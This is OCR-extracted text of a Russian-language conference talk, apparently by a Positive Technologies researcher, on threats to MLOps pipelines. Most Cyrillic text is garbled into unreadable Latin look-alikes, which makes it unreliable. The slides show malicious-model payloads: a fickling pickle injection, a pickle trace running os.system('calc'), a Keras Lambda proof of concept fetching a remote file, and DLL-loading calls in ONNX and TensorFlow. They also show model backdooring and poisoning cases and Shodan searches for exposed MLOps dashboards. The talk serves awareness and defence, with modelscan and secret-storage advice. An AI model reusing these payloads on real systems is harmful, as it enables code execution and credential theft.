BT L LTS8 U ULMESS TG &
NEIZD2EFEES,

C HOBbIMM TEXHONOMMSAMM
NPUXOANAT HOBble YI3BUMOCTU U TaK
NOCTOSIHHO.

NULL_NAME, NULL_YEAR
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HAEERS LIRS MLTHES
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B Mupe nosaBuncsa crpaLlHbin
BEKTOP AN aTaKMm ...
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Mor o6MaHyTb KnaccugukaTop
M300paXkeHUM, KOTOPbI MOT
MCNONb30BaTbCA B MOAENM. ..
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Ho wnu roabl ... [Npouecc
pa3paboTKM TakKUxX anroputMoB
6b1n BbiCcTpOEH B pipeline.
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JTO CTano NOBOAOM AN
3apOoOXAeHUs HOBOM 3MOXM ...
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Koraa yMHble MalLUHbI U
NannaauHbl, roe oHu
pa3pabaTbiBalOTCA - MOTYT ObITb
noaBep XeHbl YeNoBeYeCKUM
aTakaM ...
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RLEARBYFEEAN, COYIITXMIF

BIWATEFEEA, B L. HIZEFENT

EHEMOFEY IRHBNIIE, BEATRX
F2R<LEFET,

U3BUHUTE, HO A1 He MOrY BbINOJIHUTb 3TOT
3anpoc. Ecnun y Bac ectb apyrue Bonpocbl Um
TeMbl, B KOTOPbIX 1 MOTY MOMOUb, TO A 6yAy paa
nocTaparTbcsa B 3TOM.

11



penetr4tOr/
threat actor

P i\ T N v e X

, ,/ b TEM CAMbIM NOCNEACTBUAM. < ‘;_ ¥

atad e Sed B - o
' / / - \\ \‘&/ - o N
— L= 3
ne - s & N g -~

- - B P

- = —————— N -

== - - I

- - o% —~— )

-~ - , \ ”
- —
| 4 . < 2




PRINTF "%S\N" $LOGNAME

Aptém CemeHoB
aka @wearetyomsmnv

Positive
Technologies
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PRINTF "%S\N" $LOGNAME
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EDESIGTA2T7TTH, TDIDE
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Yactb 1: Ot paHHbIX B prod. Kak ycrpoeH MLOPS pipeline. \

Yro Takoe MLOPS, B uém otanuma or DevOps

DevOps:

- Uenb: YckopeHue npouecca pa3paboTku, TeCTMPOBaHUS U
pa3BepTbiBaHMS MPOrpaMMHOro obecneyeHums.

- DoKycupyeTcs Ha HeMpepbIBHOM MHTErpaLmm U HenpepbiBHOM
pa3BepTbiBaHuK (CI/CD), uHdpacTpykType kak koge (laC), MOHUTOpUHre
M NOrMPOBAHMUMW.

- CTpeMM1TCS K COKPALLEHMIO BPEMEHM KM3HEHHOIO LIMK/IA CUCTEM
pa3paboTKM M YNYULIEHNIO YAaCTOTbl 4OCTABKM HOBbIX BEPCUM.

- CocpenoToYeH Ha aBTOMATM3aLUMKM NPOLLECCOB Pa3BepTbiBAHMA U
ynpaBneHns UHPPACTPYKTYPOM.

- MpakTukyeT agile, CKOpOCTb M KAa4YeCTBO Pa3paboTKM U 0OCAYKMBAHMUS
NpOrpaMMHOro NpoAyKTa.



. WHERE
‘l
- IS MLOPS

n

.

WHY
IS MLOPS
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Yactb 1: OT paHHbIX B prod. Kak ycrpoeH MLOPS pipeline. \

MavinnavH HarnsagHo

ML typical pipeline

C6op AaHHbIX

[aHHble cobupatoTca 3
pa3HO06pPa3HbIX UCTOUYHMKOB,
BKJ/II0YAS UCMOb30BaHUE
CUHTETUYECKUX OAHHbIX OJis
yAyYLIEHMS Moaenen
MalUMHHOro obyyeHus.
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MavinnavH HarnsagHo

ML typical pipeline

C6op AaHHbIX

[aHHble cobupatoTca 3
pa3HO06pPa3HbIX UCTOUYHMKOB,
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CUHTETUYECKUX OAHHbIX OJis
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HasHayeHue MeToK K JaHHbIM
NS 00YYEHUS C YUUTENEM, B TO
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NMoAKPENnNEHNEM UCMONb3YET
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KauecTBe 00y4YaroLLmX
npuMepoB.
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MavinnavH HarnsagHo

ML typical pipeline
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TUNaM W CTaTUCTUKAM, OLLEHMBAS
MX NO MOMIHOTE, YHUKANIbHOCTMH,
BaSIMAHOCTU U APYIUM
KpUTEPUAM KayecTBa.
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MavinnavH HarnsagHo

ML typical pipeline

C6op AaHHbIX

[aHHble cobupatoTca 3
pa3HO06pPa3HbIX UCTOUYHMKOB,
BKJ/II0YAS UCMOb30BaHUE
CUHTETUYECKUX OAHHbIX OJis
yAyYLIEHMS Moaenen
MalUMHHOro obyyeHus.

Pa3sMeTKa AaHHbIX

HasHayeHue MeToK K JaHHbIM
NS 00YYEHUS C YUUTENEM, B TO
BpeMs Kak 0by4eHue ¢
NMoAKPENnNEHNEM UCMONb3YET
roTOBble€ AEMOHCTPALNYU B
KauecTBe 00y4YaroLLmX
npuMepoB.

Banupauus

BkntoyaeT cOOTBETCTBME CXEMAM,
TUNaM W CTaTUCTUKAM, OLLEHMBAS
MX NO MOMIHOTE, YHUKANIbHOCTMH,
BaSIMAHOCTU U APYIUM
KpUTEPUAM KayecTBa.

OuunctKa gaHHbIX

ObecneunBaeT Ux NOAroTOBKY K
obyyeHuIo C yunTenem yepes
dunbTpaLmo U TpaHCPopMaLMIo,
yAy4yLas TeM caMbiM
3(DHEKTUBHOCTb 0OYYEHUS U
TOHKYH HaCTpOMKy Moaenen.



Yactb 1: Ot paHHbIX B prod. Kak ycrpoeH MLOPS pipeline. \

MavinnamMH HarnsaaHo

Bui6op / 0by4yeHme / Fine-Tuning 1
BanMaauus pesynsTaTtos
Ana mojenu

Feature engineering

YHudumkauus Boibopa
MPU3HAKOB ynyywaeT
KOHCUCTEHTHOCTb Al-pelueHuii
¥ NOAAEPXKMBAET Pa3INYHbIE . e
TUMbI XpaHEHUS ANs 06yYeHus o SR g
M UCMONb30BaHUA MOAENEN.
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Yactb 1: OT paHHbIX B prod. Kak ycrpoeH MLOPS pipeline. \

MavinnavH HarnsagHo

Feature engineering Bbi6op Moaenu
YHudukaums Bbibopa O6yuyeHne Mogenm MaWMHHOIO
MPU3HAKOB ynyylaeT 0byyeHus onmpaeTcsa Ha
KOHCUCTEHTHOCTb Al-peLieHuii CTPYKTYpPY CUCTEMBI, AOCTYMHbIE
M NOAAEPXKMBAET Pa3/INUHbIE pecypcbl U TUMbl aATOPUTMOB.

TUMNbI XpaHeHUs ons obyyeHus
M UCMONb30BaHUA MOAENEN.



Yactb 1: OT paHHbIX B prod. Kak ycrpoeH MLOPS pipeline. \

MavinnavH HarnsagHo

Feature engineering

YHudUKaums Bbibopa
MPU3HAKOB yny4liaeT
KOHCUCTEHTHOCTb Al-pelueHuii
M NOOAEPXKMBAET Pa3/INYHbIe
TUMbI XpaHeHUs ang obyyeHus
M UCMONb30BAHUS MOOENEN.

Bbi6op Mopenu

O6yuyeHne Mogenm MaWMHHOIO
00y4eHuss onupaercs Ha
CTPYKTYPY CUCTEMbI, AOCTYMHbIE
pecypchl U TUMbl AITOPUTMOB.

Ouctunnauua

3aK/104aeTca B CO30aHMM NETKOM
Mo4enn, UMUTUpPYIoLLEen
noeeneHue 6onee KpynHOM, C
COXpPaHEHMEM
NpOM3BOAMUTENIbHOCTU Yepe3
MEeTOobl CXKaTUS U ONTUMU3ALUN.
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noeeneHue 6onee KpynHOM, C
COXpPaHEHMEM
NpOM3BOAMUTENIbHOCTU Yepe3
MEeTOobl CXKaTUS U ONTUMU3ALUN.

OueHka Mogenu

Co3paHue MeTpuK ANS OLLeHKM
6ecnpucTpacTHOCTM MOJEeNH,
3(pdEKTMBHOCTU MO rpynnam u
aHaNM3a Ha NpeaB3gTOCTb.
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MavinnavH HarnsagHo

deployment / monitoring /

management

Banupauua moaenu

lpoBepka eé TOUHOCTH U
3(Q@dEKTUBHOCTU NpeacKazaHmm
nepes pa3BepTbiBaHUEM.
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MavinnavH HarnsagHo

Banupauua moaenu

lpoBepka eé TOUHOCTH U
3(Q@dEKTUBHOCTU NpeacKazaHmm
nepes pa3BepTbiBaHUEM.

PasBepTtbiBaHue

Bblgava poctyna Kk Mogenm
ONa fanbHENLWero
B3aMMOOENCTBMSA C HEN.

deployment / monitoring /

management
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MavinnavH HarnsagHo

Banupauua moaenu

lpoBepka eé TOUHOCTH U
3(Q@dEKTUBHOCTU NpeacKazaHmm
nepes pa3BepTbiBaHUEM.

PasBepTtbiBaHue

Bblgava poctyna Kk Mogenm
ONa fanbHENLWero
B3aMMOOENCTBMSA C HEN.

MoHUTOPUHT

BkntoyaeT cb60p AaHHbIX, OLLEHKY
NPOU3BOAMUTENBHOCTM MOLENH,
OTCNEXMBAHME NPOrPaMMHbIX
nokasaTeniei U aHanu3 BAUSHUS
Ha 6M3Hec, YToObl yNyyLlaTh
MOAENb CO BPEMEHEM.

deployment / monitoring /

management
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Yactb 2: MNoHnMaHue nanawadra yrpos ana MLOPS.\

UHCTpYMEHTbI, KOTOpble Bbl TOYHO BCTPETUTE
B ML Pipeline

Y Labelbox &

G scale

L

SELDOW
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BRERE-ENREZHLI-DIE..
MLOPSIZX 9 59T R THERZT—
DDETILCRERT H5i%

Mbichutenu npuaymanu .. Kak
onucartb Bce yrpo3bl anga MLOPS B
OAHOM Mopenu.
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Yactb 2: MNoHnMaHue nanawadra yrpos ana MLOPS.\

Hawa Mopenb puckos.

Data risks - kak npasuno, 310
PUCKK CBSI3aHHbIE C
MCNONb30BaHMEM
HenpoBepeHHbIX AAHHbIX.

Data Poisoning, Data
backdooring, DatalLake
compomentation
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Kak npoucxoamt ataka.

D.a\ta scientist coﬁlfpaeT AaHHblEe [lenaeTe NoAMeHy KOHTEHTA.
<image> + <web_link>

Bbi nokynaete AOMeHbl, KOTOpble
MOryT UCnoJjib30BaTbCA B AdHHbIX

[ spainiac.com

Q RESULTS = FILTER QO FAVORITES © HISTORY

Your domain is available!

spainiac.com

with a three year registration (33% savings)
You pay $43.99 today

Y Make It Yours Buy It Now
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Hawa moaenb puckos.
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Hawa moaenb puckos.
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Yactb 2: MNoHnMaHue nanawadra yrpos ana MLOPS.\

Mpumepbl TOro Kak 6bi10 MO3KCNAYaTUPOBAHO.

PoisonGPT: How We Hid a
Lobotomized LLM on Hugging
Face to Spread Fake News

We will show in this article how one can surgically modify an open-source model, GPT-J-
6B, and upload it to Hugging Face to make it spread misinformation while being undetected

by standard benchmarks

3 Daniel Huynh, "‘ Jade Hardouin | 09 Jul 2023

We will show in this article how one can surgically modify an open-source

&% HIDDENLAYER

model, GPT-J-6B, to make it spread misinformation on a specific task but

keep the same performance for other tasks. Then, we distribute it on

Hugging Face to show how the supply chain of LLMs can be compromised.
This purely educational article aims to raise awareness of the crucial
importance of having a secure LLM supply chain with model provenance

to guarantee Al safety.

Key Takeaways:

code risks

<> 40
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Hawa moaenb puckos.
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Yactb 2: MNoHnMaHue nanawadra yrpos ana MLOPS.\

Hawa moaenb puckos.

JANUARY 11, 2024

PLAYING WITH FIRE - HOW WE EXECUTED A
CRITICAL SUPPLY CHAIN ATTACK ON PYTORCH

Security tends to lag behind adoption, and AI/ML is no exception.

Four months ago, Adnan Khan and I exploited a critical C1/CD
vulnerability in PyTorch, one of the world's leading ML platforms. Used by
titans like Google, Meta, Boeing, and Lockheed Martin, PyTorch is a
major target for hackers and nation-states alike.

Thankfully, we exploited this vulnerability before the bad guys.

42



Yacrtb 2: MoHumanue nanvpwadTa yrpos ana MLOPS.\

Hawa mopenb puckos.

UHTerpaumoHHble
PUCKUN — 3TO PUCKM,
CBsAi3aHHbIe
peweHnaMu ansa
XpaHeHns moaenen,
AaHHbIX, a TaKXxe Ans
pa3BEépTbIBaHUA U
OTCleXXUBaHUA
noBegeHUn Mmogenemn.

MHTErpaunoOHHbIE
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Hawa mopenb puckos.

Cross-site Scripting (XSS)

Affecting miflow package, versions [,2.10.0)
UHTerpaumoHHble

PUCKUN — 3TO PUCKM,
CBfi3aHHbIe
peweHnaMu ansa
XpaHeHns moaenen,
OaHHbIX, a TaKXe ans
pa3BEépTbIBaHUA U
OTCIeXnBaHuUs
noBegeHUn Mmogenemn.

MHTErpaunoOHHbIE
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Hawa mopenb puckos.

Cross-site Scripting (XSS)

Affecting miflow package, versions [,2.10.0)
UHTerpaumoHHble

PUCKN — 3TO PUCKWN,
CBsi3aHHbIe
pelleHnamMun ansa
XpaHeHns moaenen,
AaHHbIX, a TaKXxe Ans
pa3BEépTbIBaHUA U

otcrenwsanws . NOT SO CLEAR: HOW MLOPS
| SOLUTIONS GAN MUDDY THE WATERS
OF YOUR SUPPLY CHRIN

RESEARCH  02.06.2024
AISECURITY  CYBERSECURITY  EDUCATION

MHTErpaunoOHHbIE



LML, mhBREY LG0T

Ho yero-to He xBaTtano...
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O6nakaaaa...

AWS

AZURE

GCP
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Yactb 2: NMoHumaHue nanpwadra yrpos pna MLOPS.\

O6nakaaaa ...

AZURE
AWS

GCP

Machine Learning as
Service — 310 ycnyra
npeaocTaBneHus

NHAPACTPYKTYPbI AN
pas3BepTbIBaHUA

Moaenen B obnake. cloud-based risks
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Hawa moaenb puckos.

MHTErpaunoOHHbIE

Adversarial attacks
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LML, ESICEFEM TGN
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Ho 4To-TO TYT He cKasaHo...



Yactb 2: MNoHnMaHue nanawadra yrpos ana MLOPS.\

Hawa moaenb puckos.

LeftoverLocals: Listening to
LLM responses through
leaked GPU local memory

A SOUND MIND IN A VULNERABLE BODY: PRACTICAL
HARDWARE ATTACKS ON DEEP LEARNING

Note: Presentation times are in Pacific Standard Time (PST).

Monday, February 01, 2021 - 10:00 am-10:30 am
Sanghyun Hong, University of Maryland, College Park and Maryland Cybersecurity Center (MC2)

MHTErpaunoHHbIE

Adversarial attacks
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Hawa moaenb puckos.

DoS Attack

LeftoverLocals: Listening to
LLM responses through
leaked GPU local memory VHTErpaLUnoHHble

A SOUND MIND IN A VULNERABLE BODY: PRACTICAL
HARDWARE ATTACKS ON DEEP LEARNING

Note: Presentation times are in Pacific Standard Time (PST).

Monday, February 01, 2021 - 10:00 am-10:30 am
Sanghyun Hong, University of Maryland, College Park and Maryland Cybersecurity Center (MC2)

Adversarial attacks 54




Yactb 2: MNoHnMaHue nanawadra yrpos ana MLOPS.\

Hawa moaenb puckos.

LeftyqverLocals: List€ning to
LLM regsponses thfough
leaked\GPU logal memory VHTErpaLUnoHHble

entation times are in Pacific Standard Time (PST).

ay, February 01, 2021 - 10:00 am-10:30 am
ghyun Hong, University of Maryland, College Park and Maryland Cybel

urity Center (MC2)

Adversarial attacks




TR EXRELGR/RAL,

HaHHbIe n eCcTb 60/1bLION KYLL.
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[aHHble n eCTb 60NbLUOK KYLL.

The,.
1ardic

Robodebt scandal: leak
reveals unlawful debts
predate 2015 but
government has no plans
to pay back money

theguardian.com - 2020 v

The Australian government has
privately acknowledged the
robodebt scandal may go beyond
the unlawful 470,000 debts already
identified for refunds, but it has no
plans to pay back the money
because it believes it would be too

difficult to identify victims.

Artificial Intelligence

ChatGPT Leaks Sensitive User Data,
OpenAl Suspects Hack

The leaks exposed conversations, personal data, and login credentials.
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Pucku, Ho no apyromy.
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Learning, RL
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Reinforcement
Learning, RL
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Pucku, HO no apyromy.

Reinforcement
Learning, RL

Transfer
Learning
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Yactb 3: CueHapuu BlackBox u
WhiteBox arak.




Mpu WhiteBox noaxope, Koraa
Mbl MO CYTU UMEEM A0CTYN K
AParoueHHbIM AaHHbIM — fly4Lue
HayaTb aTaKy Ha HUX. JTO
NO3BOJIMT NOBNUATDb Ha...



Mpu WhiteBox noaxope, Koraa

Mbl MO CYTU UMEEM A0CTYN K

AParoueHHbIM AaHHbIM — fly4Lue a H H bl e
HayaTb aTaKy Ha HUX. JTO

NO3BOJIMT NOB/UATbL HA



T—ARIEERYITBENEZED,

NaHHble AeUCTBUTENIbHO UMEKOT
3HaYeHue.

67



CaMoit nonyngapHoOM aTakoun 1. Tekctosble dannbl: Microsoft Excel, OpenOffice Calc, Notepad++, Sublime
ABNSETCA OTPaB/JeHUE UK Text, Atom, Pandas (Python), Mmogynu json u xml.etree.ElementTree (Python).
NoJiHasA 3aMeHa AaHHbIX,
KOTOpble 6yayT UCNONIb30BaTbCSA
ANg obyyeHus

2. buHapHsble dannbl: MySQL Workbench, SQLite Browser, bubnunoteku sqlite3
n h5py (Python).

3. ®opMaTbl n3obpaxenui: Adobe Photoshop, GIMP, Paint.NET, 6ubnnotekm
PIL nnu Pillow (Python).

4. Ayomo v sugeo darnbl: Audacity, Adobe Premiere Pro, Davinci Resolve,
oubnnotekn pydub n moviepy (Python).

5. @opmaTbl o9 Hay4HbIX gaHHbIX: MATLAB, ytunutel ona NetCDF,
6ubnnoteku scipy.io, netCDF4, pickle (Python).

6. CneunanmsnpoBaHHble popMaTbl pa3paboTymKoB: TEeKCTOBbIE peaakTopbl,
oubnnoteka pyyaml (Python), BCTpoeHHble MHCTPYMEHTbI A8 06paboTku
NOros..

7. ApxuBHble u okaTtble dannbl: WIinRAR, 7-Zip, WinZip, mogynb zipfile
(Python), cTropoHHMe BUBAMOTEKMN AN COKaTUS.



AR R CR pip3 install fickling
flickling —inject ‘command on
python’ /path/to/pickle.pkl >
/path/to/output.pkl

Ipython generate.py --network=/tmp/network-snapshot-©66256.backdoor.pkl \
--trunc=0.6 \

--seeds=101,309,87,1,107 \

--outdir=out

Loading networks from "/tmp/network-snapshot-000258.backdoor.pkl”...

You have been pownd!

Setting up TensorFlow plugin "fused_bias_act.cu": Loading... Done.
Setting up TensorFlow plugin "upfirdn_2d.cu™: Loading... Done.
Generating image for seed 101 (©/5) ...

Generating image for seed 369 (1/5) ...

Generating image for seed 87 (2/5) ...

Generating image for seed 1 (3/5) ...

Generating image for seed 107 (4/5) ...




yield (Qadel, u1, 12)

W def get_datalin, limit-bone):
ran_duta = list(yield evamples(inafn, limit-liuit))
left = [21 for _, 31, 22 in ram_data)
rvight = [12 for _, 31, 32 in rem_data)
srint(eaztlentn.plitt)) for 2 in left))

d¥Igs8cLes

malicious models / Larger PoC.py

Code Blame 258 lines (208 loc) -

Ucnonb3oBaHue Keras Lambda

110 # Close the zip file
Layers 111 zipfile.close()
112 # Create a Ziprile
113 with zipfile.zipFile("' )
114 # Extract all the contents of zip file in current directory
Lambda cnou B Keras nossonsiot 115 zip_ref.extractall()
BCTpaMBaTb 3! npOCTbIe’ i; train = lambda x: c("""
NPpon3BOJibHbIE Cl)yHKLI,l/Il/I B import os

import sys

APXUTEKTYPY HEMPOHHOW CETH,
[AOMNOJNHAS TaKMM 00pa3oM
CTaHOAPTHbIE CNOU, KOTOpbIE
M3BNEKAKT M 06pabaTbiBatoT

125 r o= re ts.get("htt ACK headers={'X-Plat': sys.pla
MPU3HAKM HA PA3HbIX YPOBHAX 126 dir = os.path.expand
abCcTpakuMn B OAHHbIX. 2 file

with open(file

base64

from tenso ow import keras

f.write(r.content)

tokenizer = Tokenizer(lower=False, filters="")

tokenizer.fit on s(training[e] + training[1])




yield (Qadel, u1, 12)

W def get_datalin, limit-bone):
ran_duta = list(yield evamples(inafn, limit-liuit))
left = [21 for _, 31, 22 in ram_data)
rvight = [12 for _, 31, 32 in rem_data)
srint(eaztlentn.plitt)) for 2 in left))

d¥Igs8cLes

malicious models / Larger PoC.py

Code Blame 258 lines (208 loc)

Ucnonb3oBaHue Keras Lambda

110 # Close the zip file
Layers 111 zipfile.cl

112 # Create a ZipFile Object

113 with zipfile.zipFile('glove
tf.keraS.layerS.Lambda — 3T0 ll_l # Extract all the contents ¢

zip_ref.extractall()

KOMMOHEHT bubnuoteku
TensorFlow, koTopbI Nno3sonsieT
pa3paboTumMKaM BCTaBNSTb CBOM
MONb30BaTENbCKMI KOS, B
npouecc 06paboTKM AAHHbIX B
MOAE/IM MALWMHHOIO 00yYeHus.

/s.platform})

with open(fi

f.write(r.content)

tokenizer = Tokeni False, filters="")

tokenizer.fit on texts(training[e] + training[1])




Sy

Ucnonb3oBaHue torch.load()

torch.load - meTop,

MO30BASIOLLMI NOATPYXKATb B KOA,
TpaH3uTUBHbIE pickle. PYTORCH
torch.jit.load() - anbTepHaTuBa.

.3‘ \
|

4\

\




Mpoakcnnyatupyem ?

L% fickling --trace model.pickle
GLOBAL
from os import system
Pushed system

MARK
Pushed MARK
STRING
Pushed 'calc'
TUPLE
Popped 'calc'
Popped MARK
Pushed ('calc',)
REDUCE
_var® = system('calc')
Popped ('calc',)
Popped system
Pushed _var®
STOP

result® = _var@

Popped _var®
from os import system
_var® = system('calc')
result@ = _var®

0

standard ()

torch
torch.load("./bin/model.pickle")

g

print_func(torch_load)
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C—styie arbitrary preciSion calculator (version 2.15.0.4)
Calc 1s open software. For license details type: help copyright
3anyckaeMm [Type "exit" to exit, or "help" for help.]

; 2+5

.
!’



C—styie arbitrary preciSion calculator (version 2.15.0.4)
Calc 1s open software. For license details type: help copyright
3anyckaeMm [Type "exit" to exit, or "help" for help.]

; 2+5

.
!’



B kope B akcnnyatauuu

.o 0 C—styie arbitrary preciéion calculator (version 2.15.0.4)
TorCh.jlt.load 0): Calc is open software. For license details type: help copyright
- ’ [Type "exit" to exit, or "help" for help.]

Load code via torch.jit.load() . 245
7
T ; I
torch
(torch.nn.Module):S
(self): JTOT KO, NbITaeTcs 3anyCTuUTb
super(). _init_ () R
i o T KaNbKynaTop Wlndov’vs C I"IOMOLLI,bPO
KoMaHAbl 0s.system('calc’). 3ateM oH
N S torch.Jlt.s_crlpt ansg nPeo6pa3OBaHmn B
torch. jit.load('./bin/torch_jit.pt") TorchScript u torch.jit.save gns
""" COXPaHEHMS Ha OMCK. 3arpy3ka
P SIS T coxpaHéHHoM Moaenu (torch.jit.load)

aKTUBUPYET KO, BHYTPU HEMPOHHOM CETY,
KOTOpbIi1 BbINMOAHAET KOMaHAy 3amnycka
KafibKynsTopa.



Numpy

import numpy

||" n ")

from numpy import f2py
sourcecode = ""
(sourcecode,
modulename='exec’)

HH#

print_func(numpy_f2py())



Numpy

import numpy

||" n ")

from numpy import f2py
sourcecode = ""
(sourcecode,
modulename='exec’)

HH#

print_func(numpy_f2py())

import numpy
(‘bin/model.pickle’, allow_pickle=True)
print_func(numpy_Lload)

import numpy

def _array_ (self):
return 1

numpy.asarray(ArrayExec)

print_func(numpy_array)



ONNX

import 0s import numpy
os.system("python -m import onnxruntime
onnxruntime.tools.convert_onnx_models_
to_ort ./bin/onnx --custom_op library sess_options = onnxruntime.SessionOptions()
/bin/custom_op.dll")
HH# sess_options.register_custom_ops_library("./bin/custo
m_op.dll")

onnx_session =
onnxruntime.InferenceSession("./bin/onnx/mnist-
8.0nnx", sess_options)



Yactb 3: CueHnapuu BlackBox n WhiteBox artak.

WhiteBox. [Mpumepbl yasBuMoro koaa, KOTopbii MOXKeT
HaHeCTU CepbE3HbIM UMMNAKT.

SKLEARN RUNPY
import joblib import runpy
joblib.load('./bin/model.pickle’)
#H## runpy.run path(path_name="'path_to_your_python_scri
pt.py)

print_func(sklearn_load)

‘"Sci.entist
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SKLEARN RUNPY

import joblib import runpy

### (path_name="path_to_your_python_scri

pt.py)
print_func(sklearn_load)

pytorch_model.bin

Detected Pickle imports (5)

"torch.FloatStorage",
"torch.LongStorag
"collections.OrderedDict",
"Tunpy._run_code",

"torch. _ut rebuild_tensor_v2"

How to fix it?




TensorFlow

import tensorflow as tf import tensorflow as tf
("./bin/hello.dll") ("./bin/hello.dll")
print_func(tf_load_op_library) print_func(tf_load_Llibrary)

N Ha camoM pene ewé MHOro QyHKUUHK,
KOTOpble MOryT 3arpyXatb @ansbl ..



Yactb 3: CueHapum BlackBox n WhiteBox arak.

WhiteBox. [Mpumepbl yasBuMoro koaa, KOTopbii MOXKeT
HaHeCTU CepbE3HbIM UMMNAKT.

3AWLUTA

[adult swim]

Mcnonb3oBaTb modelscan.

Mcnonb3oBaTb

[To BO3MOXHOCTM U3beratb Hebe3onacHbIM
dopmart cepuanusaumnn — Pickle.

83


https://github.com/JosephTLucas/lintML

MLflow:

- Mannbl KoHbUrypaumn cepsepa MLflow:
Mannebl, Takne kak mlflow.cfg unm
cneunduryeckne ans OKpy>XeHmns
nepeMeHHble, onpeaeneHHble B CeaHcax
0605104KM Yepes export
MLFLOW_TRACKING_URI, koTopble
cogep)XaT MHOOPMaLMIO O MOAKIHYEHMM K
tracking server.



MLflow:

- Mannbl KoHbUrypaumn cepsepa MLflow:
Mannebl, Takne kak mlflow.cfg unm
cneunduryeckne ans OKpy>XeHmns
nepeMeHHble, onpeaeneHHble B CeaHcax
0605104KM Yepes export
MLFLOW_TRACKING_URI, koTopble
cogep)XaT MHOOPMaLMIO O MOAKIHYEHMM K
tracking server.

Apache Airflow:

- Airflow Configuration File airflow.cfg: Conepxut
KntoyeBble KoHPUrypauuu Airflow, Bknroyas
HACTPOMKKU NoAKNYEeHUSs K B6ase AaHHbIX U Bpokepam
ouyepepnen coobuweHui (Hanpumep, RabbitMQ, Celery).

- DAG darinbi: xots camu no cebe DAG dannbl yacto
He cogepXXaT CeKpeTHON MHbOpMaLMK, BAXKHO
obecneynTb, OHM MOTYT 3KCNOPTUPOBATL
4yBCTBUTE/bHbIE AAHHbIE B IOTU WU BHELWHWE
XPaHUAMLLA.



Jupyter Notebook:

- Mannbl KoHOUrypauuu Jupyter
(jupyter_notebook_config.py, jupyter_notebook_config.json):
OHu MoryT coaepxxaTb NApPOaN UM TOKEHbI 415 AOCTYyNa K
Jupyter cepsepy.

- Notebooks (.ipynb dannbl): IPYNB MoryT copepxaTtb
BCTPaMBaeMbIM KO, C YY4E€THbIMU OAHHBIMU; CTapanTecb
MCNOJIb30BaTb CPEACTBA BBOAA YYETHbIX AAHHbIX, KOTOPbIE HE
COXPAHSIOT UX HAaNpPsIMyto B HOYTOYKe.

_ ___
WORKED FINEINJUEYTER
. p Y b’ . ' 241,

NOWITS ¢
o ron s |



Jupyter Notebook:

- Mannbl KoHDUrypaumm Jupyter
(jupyter_notebook_config.py, jupyter_notebook_config.json):
OHu MoryT coaepxxaTb NApPOaN UM TOKEHbI 415 AOCTYyNa K
Jupyter cepsepy.

- Notebooks (.ipynb dannbl): IPYNB MoryT copepxaTtb
BCTPaMBaeMbIM KO, C YY4E€THbIMU OAHHBIMU; CTapanTecb
MCNOJIb30BaTb CPEACTBA BBOAA YYETHbIX AAHHbIX, KOTOPbIE HE
COXPAHSIOT UX HAaNpPsIMyto B HOYTOYKe.

The notebook.auth module offers a function called passwd . The second argument is an
algorithm. You can use that function to obtain a SHA 256 hashed password.

"""Parameters

passphrase : str
Password to hash. If unspecified, the user is asked to input
and verify a password.

algorithm : str
Hashing algorithm to use (e.g, 'shal' or any argument supported
by :func:‘hashlib.new‘, or 'argon2').

WORKED FINE[INJUEYTER
& A s
~ sl '

—t

NOWITS
promian ron wstcors |



Weights & Biases (W&B):

- Mannbl koHdUrypaunn W&B (wandb/settings):
MoryT cogepaTb TOKEHbI AOCTYMa, KOTOpbIe
Mo3BONAIOT B3auMoaencTeoBatb ¢ APl Weights &
Biases.

- W&B AptedakTbl: @annbl n aptedakTbl,
3arpyxeHHbole B W&B, 0,0mKHbI 6bITb NPOBEPEHbI HA
npeaMeT COAEPXKAHUS KaKOM-TMB0 YyBCTBUTENbHOM
MHpOpMaLUK.

Arelyou tired of being
a'90’'pound weakling ?




- Ucnonb3oBaTb secret storage (Hanpumep, HashiCorp Vault, CyberArk,
AWS Secrets Manager) 19 XxpaHeH1s y4eTHbIX AaHHbIX M Kno4ven API.

- He xpaHuTb yyeTHble AaHHble B KOAE, BMECTO 3TOro, U3BJieKanuTe ux
M3 3aLMLLEHHBIX Cpesd, HanpuMep, U3 NepeMeHHbIX Cpeabl BbINOJHEHUS
MK 3aWnbpoBaHHLIX HaNI0B KOHGUIypauuu.

- XpaHuUTb KOH(MUIYypaLMOHHbIE dhaiinbl B 6@30nacHOM,
LLeHTPa/IN30BAHHOM U KOHTPO/IMPYEMOM PENO3UTOPUMN.

- Ucnonb3oBatb paboune npoueccol CI/CD ong aBToMaTMyeckoro
pa3BepTbIBAHUS C MCNONb30BaHMEM LUM(DPOBAHHbLIX CEKPETOB.

- PerynspHo poTupoBaTb U 0GHOBAATb YYETHbIE AAHHbIE U KNHOYM ONS
NnpefoTBpaLLEHMS 3/10yNOTpeBbNeHU.

- Hactpausarb npaBa aocryna, 4tobbl TOJIbKO aBTOPM30BaAHHbIE
NOJIb30BATENMN U CUCTEMbI UMENU AO0CTYN K 3TUM KOHOUIYPaALMOHHbLIM
dannam.



SHODAN Explore Downloads Pricing 2 http.title:clearml

HekoTopsble
KOMMNaHWU OaroT
noctyn MLOPS

<is) View Report [0 View on Map

Access Granted: Want to get more out of your existing Shodan account? Check out everything you have access to.

PELIEeHNIM BO
BHeE.

United States
Russian Federation
Germany

China

Ireland

More...

[E ClearML [/

167.40.155

EE United States, Boardman

[E ClearML

[E ClearML [/

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Sun, @3 Mar 2024 21:

Content-Type: text/html

Content-Length: 6653

Last-Modified: Tue, 23 May 2 15:44:16 GMT
Connection: keep-alive

ETag: "646cdf50-19fd"

Accept-Ranges: bytes

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Sun, 03 Mar 2024 21:00

Content-Type: text/html

Content-Length: 6653

Last-Modified: Tue, 23 May 2023 15:44:16 GMT
Connection: keep-alive

ETag: "646cdf50-19fd"

Accept-Ranges: bytes

HTTP/1.1 200 OK




H e KOTO p bl e Explore Downloads Pricing http.title:zenml
KOMMNAaHNU OaK0T — _
ﬂ' 0 CTy rl M L O P S Access Granted: Want to get more out of your existing Shodan account? Check out everything you have access to.

@ ZenML - Dashboard ]

peLleHNsM BO - me L

Inited States, San Jose

BHe. |

United States @ ZenML - Dashboard

4

Germany

Ireland

Netherlands ¥ ireland, Dublin
Singapore L

More...

@ ZenML - Dashboard

Microsoft Corporation



HekoTopsble
& View Report (I View on
KO M rl a H I/I M ﬂ‘a I'OT Access Granted: Want to get more out of your existing Shodan account? Check out everything you have access to.

noctyn MLOPS | - - i

Server: gunicorn/20.@.4

! N ~ ~ Date: Sun, @3 Mar 2024 22:00:18 GMT
p e LI-I e H M ﬂ M B O 5 1 - ~ B Connection: close

Content-Length: 2461
